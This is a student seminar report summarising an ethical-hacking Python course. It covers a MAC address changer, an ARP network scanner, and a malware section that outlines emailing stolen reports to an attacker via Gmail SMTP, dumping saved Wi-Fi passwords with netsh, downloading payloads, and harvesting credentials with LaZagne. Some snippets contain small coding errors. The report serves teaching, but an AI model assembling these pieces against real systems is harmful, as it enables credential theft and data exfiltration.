Concordia Institute for Information System Engineering (CIISE)

INSE 6961
Graduate Seminar in Information and Systems Engineering

Seminar Report

Learn Python and Ethical Hacking From Scratch

Submitted to:
Prof. Ayda Basyouni

Submitted By:
Mukul Prabhu - 40257131

INDEX

Introduction

This is a well-structured course teaching the basics to advanced concepts. The author begins by covering terminologies that will be used throughout the course. The author explains the term “Hacking” as being able to gain access to a system by a person who should not have access to it. Instances such as logging into another person’s email account, gaining access to a remote computer, reading confidential information and the list goes on. The main idea is to have unauthenticated access to systems or resources.

People who do these activities are termed as “Hackers”. There are three types of hackers. The “Black-Hat” hackers, illegally hack to steal money or disrupt services. Then we have the “White-Hat” or “Ethical” hackers, using the same techniques and skills as black-hat hackers but with prior authorisation from the system owners. Their goal is to check the security level and strength of the system. Finally, we have “Grey-Hat” hackers who are a combination of the previous ones. These hackers don't request prior permission or authorisation before testing out systems but they do it with good intentions. If any vulnerabilities are found they will report it to the respective system administrators.

The industry has an abundance of opportunities for ethical hackers. Systems are constantly being targeted by black hat hackers, so to safeguard and test security levels ethical hackers are required. Companies also hold bug bounty programs to invite people to hack into their systems and report any vulnerabilities in exchange for rewards.

The course also covers programming concepts along with hacking. Programming is the process of writing a program to solve a problem. The course introduces programming through the use of Python. The author teaches how to properly model a problem, write an algorithm to solve this problem, and then write Python code using object-oriented programming to implement this solution. In the later sections of the course, the author shows how to package all of the programs built so far so that they can run on any operating system on Windows, OSX and Linux.

The course is presented by Zaid Al-Quraishi, a professional ethical hacker, computer scientist, and the founder and CEO of zSecurity & Bug-Bounty.

Lab Set-Up

There are many attacks that will be performed and along with that codes will be written to execute those attacks. To practice and experiment on these things we thus need a lab. This lab is nothing but an environment or operating system that will help us in performing these attacks. To create our environment we are going to use virtual machines. We use a virtual machine because it can run any operating system like Windows, Linux or OSX. A virtual machine can also have multiple instances running inside it. In our experiments, we will be installing a lot of programs and there’s a chance it might break some other functionality of our computer. As virtual machines are isolated from the rest of the computer we wouldn’t have to worry about having any issue in our daily system. The virtualisation software that we will be using is called VMWare.

The first operating system that is installed is called Kali Linux. Throughout the course, a number of tools and programs will be needed to conduct the experiments. One can install Windows or a different flavour of Linux and then manually install each of those tools. Kali Linux gives us the advantage that it comes pre-installed with all the tools that a hacker may require. It makes initial setup easy and saves a lot of time. Another upside of using Kali is that tools aren't always easily installed on machines. When installing a tool one needs to make sure the right firmware version is used, whether the operating system supports it, and needs installing other dependencies to run the tool. Kali takes care of all of these and we get a system with ready-to-use tools.

The author provides us with his image of Kali Linux which is made specifically for this course. This custom image fixes a number of bugs and contains extra programs compared to the original one.

To use VMWare one needs to first enable virtualisation in the BIOS to run virtual machines. On Windows, it can be found out if virtualisation is enabled by accessing the task manager. This step is not required on Apple computers as it is enabled by default.

To install Kali on the virtual machine the downloaded file needs to be first unzipped. Once done a new folder gets created that contains the image with a .vm extension. The virtualisation software VMWare is installed and then the operating system image with .vm extension is opened. The virtual machine instance can be configured to have different amounts of RAM and processing cores allocated to it, and change network configurations and display options.

Once the virtual machine is run the default login screen for Kali appears. The user name and password are configured beforehand within the image. The user ID is "root" and the password is "toor". The author goes on to explain the features and customizability of Kali Linux. Some of the prominent features that stood out in the explanation were penetration tools such as information-gathering applications, vulnerability analysis, web application analysis and reverse engineering.

Among all the tools available the most powerful one would be the terminal. It can do all the tasks a normal user might do on a graphical interface but by typing out a command instead of clicking. One major benefit is that using the terminal removes the overhead placed on resources when using a graphical interface. A lot of security tools don't have a graphical interface so one must know how to use a terminal. The author goes on to explain how to navigate through the terminal and demonstrates some basic command usage such as "pwd", "ls", "cd", "man", "clear", and "health".

The programming language introduced in this course is called Python. Python has a rich source of libraries that users can use in their code, it also is a very easy-to-understand programming language. One of the easiest ways to write Python code is to open a text editor like Vim and save the file with a .py extension. It can then be executed by preceding the file name with the command "python". As program size and complexity increase it becomes challenging to use a simple text editor. There are different editors available designed with coding in mind, and the author suggests using PyCharm.

The author mentioned an important point while writing a Python code. At the start of any Python file, it is recommended to add a shebang. The shebang is a directive that tells the operating system how to handle this specific file. The shebang is as follows:

"#!/usr/bin/env python3" or "#!/usr/bin/env python"

for python 2.

This is not a mandatory step but a best practice to add it at the beginning. This enables the system to know that it is an executable file.

MAC

Media Access Control is a permanent physical and unique address assigned to network interfaces by the device manufacturer. Whether the system has a wireless card or a wired or ethernet card, each one of these network cards comes with a specific address that is unique to this card. This means that there are no two devices in the world that would have the same Mac address, and this address will always be the same for this specific device. Even if the network device were to be removed from one device and placed in another, it would retain its unique address. The IP addresses used on the internet help in identifying computers and communicating between devices on the internet. Now within the network, MAC addresses identify devices and transfer data between them. When data is sent over the network, the packet contains the source and destination address. With the help of these addresses, data can travel from one part of the globe to another. So, if there's a method to change this unique address that can identify a device it is possible to make the person anonymous on the network. As many network filters use MAC addresses to prevent or allow devices to connect and do specific tasks on the network, being able to change one's MAC address to another device's MAC address will allow one to impersonate this device and execute tasks that weren't possible at first.

To change the MAC address, the network interfaces are first listed. The command used for this is:

```
ifconfig
```

A network interface means a network card. For each type of connection, there will be a different entry. So for wireless connection, there will be one interface and for wired/ethernet connection another interface.

The ifconfig command doesn't simply name the interfaces but also lists information about each one of them. If the interface is connected to a network, it'll be associated with an IP. It also lists the netmask, the broadcast for this network and also the MAC address. To change the MAC address we use the command:

```
ifconfig <interface_name> down
ifconfig <interface_name> hw ether <new_MAC_address>
ifconfig <interface_name> up
```

If used ifconfig again, the mac address will be the one that was specified.

As the course is focussed on ethical hacking with Python programming, the same functionality will be reproduced by writing a Python script that will automatically

change the MAC address. To run Linux commands through Python, the function subprocess is used. The subprocess module can run not only Linux but Windows and Mac commands as well.

```
subprocess.call("<command>", shell=true)
```

The same commands can be used that were used in the terminal but then the program will serve only a single purpose, i.e. to change the MAC to the same address and of only the same interface every time. So to make the program more flexible, variables are used and input is asked to assign these variables with the value we need. INput can be asked by using the command:

```
input("<any_string>")
```

The above method to take in user input is valid and works but it presents itself as a big security issue as there is no input validation before the subprocess function processes it. As an example, while entering the input users can enter a different Linux command along with the required command and the subprocess function will execute it anyway. To mitigate this we use the subprocess command in a different way:

```
subprocess.call(["<the_main_command_hadrcoded>", variable1,
                 "<flag>"])
```

So here, a list is used inside the function instead of a string. Using this method, the first element is considered as the command and the elements following it are treated as the command's flags. In the scenario where the user enters a command like "ls" for variable 1, an error will be thrown.

To make entering more convenient for the user, it is better to add the inputs along with the Python file execution command instead of interrupting the program mid-way by asking for user inputs. To achieve this, the "optparse" library is used. This library enables users to add input along with file execution-like flags.

```
parser = optparse.OptionParser()
parser.add_option("-i","--interface",dest="<varuable_name_wher
e_it'll_be_stored>", help="<description>")
(options, arguments) = parser.parse_args()
Interface = options.interface
```

The first command is used to initialize the "parser" object. The second command is used to configure the way input will be added, The third command separates the options i.e. the value imputed by the user and the arguments i.e. the flag. The fourth command then is a simple assignment operation.

To make the code more readable and clean the concept of functions is used. A function is a set of instructions that carry out a certain task. Functions also help in reusing the code again. Instead of writing the same set of instructions, we can instead call that function again to execute twice. Using functions also introduces the concept of abstraction. Functions can be used in the following manner:

```
def <func_name>(arg1,arg2):
     <code>
     return <variable>

def <func_name2>():
     <code>

   variable = <func_name>()
   <func_name2>(arg1,arg2)
```

One of the key functionality that the code is lacking is its decision-making capabilities. This is useful when trying to determine if the user input is valid. In case the user does not enter the input, Python will give an error statement but for a user, it might not be legible, here a custom statement can be displayed instead. Another upside of using decision-making capabilities is not all the code available in the program needs to be run. Only the part of the code is run that's under the decision-making command and if it's true, otherwise it's not executed. The IF statement can be written like this:

```
if <condition>:
     <code>
elif <condition>:
     <code>
 else:
     <code>
```

Using all the concepts covered above, the following code is written:

```
#!usr/bin/env python
import subprocess
import optparse

def get_aruments():
     parser = optparse.OptionParser()
     parser.add_option("-i","--interface",dest="interface",
     help="Interface to change its MAC address")
     parser.add_option("-m","--mac",dest="new_mac", help="New
     MAC address")
     (options, arguments) = parser.parse_args()
     if not options.interface:
          parser.error("Please specify an interface, use
          --help for more info")
     elif not options.new_mac:
          parser.error("Please specify a new mac, use --help
          for more info")
     return options

def change_mac(interface,new_mac):
```

```
    print("Changing MAC address for " + interface + "to" +
    new_mac)
    subprocess.call(["ifconfig", interface, "down"])
    subprocess.call(["ifconfig", interface, "hw", "ether",
    new_mac])
    subprocess.call(["ifconfig", interface, "up"])

options = get_arguments()
change_mac(options.interface, options.new_mac)
```

Network Scanner

Information gathering is one of the most important steps when it comes to hacking or penetration testing. It can get really difficult to gain access to a system without having enough information about it. Consider a scenario where a hacker is connected to a network containing his target device. To exploit any weaknesses of that target, the hacker would have to do a reconnaissance of the device first and find out any available open ports, the MAC address, IP and any more information that might be useful to gain access. There are tools available such as Nmap and Netdiscover that do this but the author tries to create his network scanner to scan a network without using any pre-built tools. The purpose of building a network scanner is to have a deeper understanding of how network scanners and networks in general work. The author plans to build a scanner similar to Netdiscover that comes built-in with Linux. The scanner will have functionality such as listing out all connected devices along with their IP and MAC addresses.

The network scanner will be based on the concept of Address Resolution Protocol or short for ARP. To understand ARP, consider a situation where there are 4 devices A, B, C, and D in a network along with a router. For device A to communicate with device C, A would need to know the MAC address of C. This is because within a network devices communicate using MAC addresses and not IP addresses. To find the MAC address of device C, A will use the ARP protocol. ARP helps in linking the IP of a device to its MAC address. When using ARP, it sends a broadcast message to all devices requesting the MAC address that's known to the whole network. This is known as Broadcast MAC Address. When a packet is set to be sent to the Broadcast Mac address, all clients on the same network will receive this packet.

So Device A will send the broadcast to all the clients on the network asking for the MAC. This packet is going to be directed to the Broadcast Mac address and therefore all the clients on the network will receive this packet. Now all of these devices will ignore this packet except the one that has this IP address, which is device C. Device C will now send an ARP response back. This way device A will have the MAC address of device C and communication can begin between them.

To use this concept a module called "scapy" is used in the Python program. The module scapy.all is imported to implement all the functions within this module. The import is given an alias for better clarity, as shown:

```
import scapy.all as scapy
```

To use the ARP concept to discover the MAC address of a device, scapy's ARP method is used and is fed the target device's IP. This method also takes in a range of IPs so we can input IP/24 as well.

```
scapy.arping(ip)
```

The above command lists all the MAC addresses along with their IPs. Generally, devices will ignore the requests that they get unless the request is asking about their IP address. So only the device whose IP matches will respond with its MAC address. As pointed out before, the author plans on building his network scanner without any pre-built tools. So he then goes ahead with first implementing the ARP functionality. The ARP request must be directed to the Broadcast MAC address requesting an IP. It is directed to the broadcast MAC address so that all devices can receive it. The device that has the IP will respond with the MAC address.

First, a packet needs to be created. The packet should have 2 features. One, to use ARP to ask who has the specific IP and second, direct this packet to the Broadcast MAC address. To create the ARP packet, the command used is:

```
scapy.ARP()
```

The ARP() class has a method called summary. Once invoked it will give give the current parameters it is working with. So for the current situation, it is requesting for IP 0.0.0.0 and requested by the device's IP that ran the command.

The ARP() class can take in a value for the IP. Inside the parentheses, a variable can be passed containing the IP and then call the summary class again as shown:

```
arp_request = scapy.ARP(pdst=IP)
print(arp_request.summary())
```

The first part of the challenge i.e. creating an ARP packet requesting for a specific IP is done. Now this packet needs to be directed to the broadcast MAC address so that all devices in the network receive it. To do this, an "Ethernet" packet is used. An Ethernet packet is a data link layer packet. As devices internally in a network communicate with MAC addresses and not IP, ethernet packets are used. The source and destination MAC addresses are set in the Ethernet packet. The command used for it is:

```
scapy.Ether()
```

Now to direct this packet to the Broadcast MAC Address, a MAC address should be specified inside the parenthesis. To know how to utilise the class, scapy comes with a function called "ls". Similar to its counterpart in Linux, ls lists down the inputs a particular ARP method can take.

```
scapy.ls(scapy.Ether())
```

The ls function listed out the dst variable to be used inside parenthesis. This dst variable will be assigned the MAC address. A MAC address consists of 12

hexadecimal digits, usually grouped into six pairs separated by hyphens. MAC addresses are available from 00-00-00-00-00-00 through ff:ff:ff:ff:ff:ff. The MAC address ff:ff:ff:ff:ff:ff is used for broadcast. Thus the above command is modified to:

```
scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
```

So far, ARP was used to ask for the specific IP and then Ether to get the MAC address. The final packet consists of combining these two into a single entity. This can be done by using a forward slash "/".

```
arp_request = scapy.ARP(pdst=IP)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
```

For the next step, the packet needs to be sent over the network and wait for its response. The module scapy can help in this regard with ts srp function. Inside this function, the name of the packet is entered. Now to capture the response, this same function is used for the capture. So, the function returns 2 values. One of them is the answered packet and the other is unanswered. Thus the function will be assigned to two variables. Another field is added to the function called "timeout". When the function is executed it won't end until and unless it gets a response from the device. In the scenario where for an unknown reason the device doesn't respond the program will never end. Thus the timeout field indicates to the function to move on if there's no response within the given value. The code is as shown:

```
answered, unanswered = scapy.srp(arp_request_broadcast,
timeout=1)
```

To further refine the program, the printing statements can be made into a completely different function so that the current function can focus only on the logic of the program. In general, it is a good programming practice to have one function do a single job. As an example, in the future, if the current function is required to be part of another logic, it can be used but then the printing statements will not be required. Thus it makes more sense to have the printing statements in a separate function and have it called whenever necessary.

To raise another point, the srp function of scapy gives a lot of information. For a user not all of it is required and it would make more sense to have another variable or list consisting of information valuable to the user. This variable or list can then be sent over to the printing function. In this case, a dictionary is better suited. A dictionary consists of a key-value pair and the element in the dictionary can be accessed by specifying the key. As the user would require the IP and MAC, this suits the dictionary's use case. Each IP-MAC dictionary will be inserted into a list, resulting in a list of dictionaries. The code is as shown:

```
clients_list = [ ]
for element in answered_list:
   client_dict = {"ip":element[1].psrc,"mac":
   element[1].hwsrc}
   clients_list.append(client_dict)
print(clients_list)
```

Now that the data is stored in a list of dictionaries, the data within the list needs to be accessed and printed. As the outer part of this structure is a list, the list is accessed first and then the dictionary. An easy way to do this is to iterate it over a for loop. If iterated over the list, it'll print out the dictionaries one after the other. To further clean up the output the "key" and "value" of the dictionaries can be specified.
The code is as shown:

```
for client in result_list:
     print(client["ip"]+"\t\t"+client["mac"])
```

Malware

There are different types of malware such as keyloggers, viruses, backdoors etc. All of these are just programs that carry out a specific task. For example, a backdoor is a program that allows a user to gain access to a target system.

The author starts by showing a simple message pop-up script that is coded using Python and the subprocess module. In the demonstration, the author first tests out the command on Windows and then copies the same command over to the Linux box and creates the Python file. The file is then transferred over to the Windows box and is executed again. The program does not work.

The main reason behind this demonstration is to show how device architecture can prevent certain programs from working. The CMD command works on the 64-bit architecture but the Python interpreter installed is a 32-bit one. The author explains that in the scenario a malicious file is to be executed on a remote system, this possibility needs to be taken into consideration. So an easy fix is to provide the full path of the msg command within the subprocess statement so that the remote system can use the 64-bit CMD. The code is as shown:

```
#!/usr/bin/env python
import subprocess
command = "%SystemRoot%\Sysnative\msg.exe * you have been
hacked"
subprocess.Popen(command, shell=true)
```

Now that the problem of executing commands on a remote system is solved. The next step is to be able to transfer information to and from the remote. The author does it by coding a simple email script using the smtplib module. This module helps in sending emails.

A new function is created that'll accept 3 arguments. First the email, second the password and third the message. To be able to send emails, an email service is required. Google provides its email service for free and it can be accessed through "smtp.google.com" along with port 587. The next step is to initiate a TLS connection with the created server and then log in with the credentials. The next command will be to send the command with the sender and recipient emails along with the message. In the end, the server instance must be closed. The code is as shown:

```
def send_mail (email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email,email,message)
    server.quit()
```

The purpose of using an email service is to send the attacker a report of information collected at the target system. One such command that can be used is:

```
netsh wlan show profile
```

This gives a list of all the wifi networks that have been connected to the system to date. If the command succeeds with the name of the wifi connection along with the flag key=clear, it will show the password of the wifi network as well.

To be able to send the email from the attacker's system, Gmail needs to be configured to allow the Python script to send emails. It is present under the "Google Account Setting", and inside the "Signing in to Google", and "App Passwords". This will give a new password that should be used inside the Python script.

The main execution function and a way for the attacker to receive the report are complete. The next step in the attack procedure is to be able to download the file on a target system. It can be used to download any type of malicious file and execute it on the target computer. The Python library that helps in doing this is called "requests". Another function is created called download which takes in a URL as an argument. The requests module contains a function called get that will get the binary content from the internet. The code is as shown:

```
def download(url):
    get_response = requests.get(url)
    print(get_response.content)
    download("<any_file_on_the_internet>")
```

Now that the binary file is available, the file needs to be written on the system's disk. This can be achieved by opening a text file on Python and then writing the contents of the URL response on the file. A simple way to do this is as shown:

```
with open("sample.txt", "w") as out_file:
    out_file.write("get_response.content")
```

The keyword "with" is used so that there is no need to call the file.close() when using with statement. The statement itself ensures the proper acquisition and release of resources. The tag "w" indicates that the file is in write mode. Here a sample.txt is opened as an example, if the file to be downloaded is a JPEG or Python file then the extension needs to be changed accordingly.

In the programs, the subprocess module is used to execute the system commands. This would not work if the operating system is changed and commands differ from one operating system to another. One way the program can be made universally is by using the module called "os" instead of subprocess. In the os module, the commands are not hard coded and its functions can be used to traverse through the file system or execute commands.

So far the three main functionality has been satisfied. They are downloading the file, running a command to generate a report and sending the report back to the hacker as an email. A lot of harm can be caused by using just these 3 simple steps. There are many scripts available that will generate the report with findings such as passwords for the attacker. One such script demonstrated by the author is called Lazagne. This script can be downloaded with the help of the download functionality. The script itself is the report generated and then it can be sent over by email.

Conclusion

In the course, we have studied Python and Ethical Hacking concepts. The whole idea is to train students to be “Ethical White Hat Hackers” and not use this knowledge for any other purpose. Simply knowing a few tools is not enough to be proficient in this field, this is demonstrated by how Python is utilised to execute the various attacks performed. Programming language is deeply integrated into every part of this course and shows how flexible and powerful it can be in our hands if know how to use it properly.

The MAC attack taught us how devices communicate internally within the network. It showcased a method to change this unique address and made it possible to hide one’s identity. This is really helpful as many networks implement a MAC filter to prevent certain devices from executing tasks and accessing resources.

Network scanners demonstrated the importance of doing a reconnaissance of the network before proceeding with an attack. The attacker can’t do a blind attack and try implementing every tool in his arsenal to hack into the system. This will lead to wasting a lot of time and resources. The first step should always be to check what services the device is running and the software versions. Using this information the attack can be narrowed down. Building our own network scanner also gave us an insight into how packets flow through the network layers.

The author then showcased how to write a simple malware. The malware itself is nothing but a combination of just 3 simple Python programs that helped the attacker gain vital information. The program is coded in a very generalised way so that there can be endless possibilities of it being used, This again fortifies the importance of knowing a programming language such as Python.